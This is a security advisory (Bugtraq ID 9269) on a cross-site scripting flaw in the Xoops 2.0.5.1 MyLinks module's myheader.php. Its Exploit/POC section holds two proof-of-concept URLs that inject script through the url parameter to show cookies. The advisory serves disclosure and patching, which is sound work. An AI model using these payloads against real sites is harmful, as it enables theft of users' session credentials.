Xoops MyLinks Myheader.php Cross-Site Scripting Vulnerability

BID:9269

Info

Xoops MyLinks Myheader.php Cross-Site Scripting Vulnerability

Bugtraq ID: 9269
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 21 2003 12:00AM
Updated: Dec 21 2003 12:00AM
Credit: Discovery is credited to Chintan Trivedi <[email protected]>.
Vulnerable: Xoops Xoops 2.0.5 .1
Not Vulnerable: Xoops Xoops 2.0.5 .2

Discussion

Xoops MyLinks Myheader.php Cross-Site Scripting Vulnerability

Xoops is prone to a cross-site scripting vulnerability in the 'myheader.php' script included in the mylinks module. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. Exploitation could allow for theft of cookie-based authentication credentials or other attacks.

This issue was reported in Xoops 2.0.5.1. It is likely that other versions are also affected.

Exploit / POC

Xoops MyLinks Myheader.php Cross-Site Scripting Vulnerability

The following examples were provided:

http://www.example.com/modules/mylinks/myheader.php?url=javascript:alert(document.cookie);

http://www.example.com/modules/mylinks/myheader.php?url="><script>alert(document.cookie)</script>

Solution / Fix

Xoops MyLinks Myheader.php Cross-Site Scripting Vulnerability

Solution:
The vendor has released a fix to address this issue. Users are advised to upgrade to Xoops version 2.0.5.2.


Xoops Xoops 2.0.5 .1

References

Xoops MyLinks Myheader.php Cross-Site Scripting Vulnerability

References:

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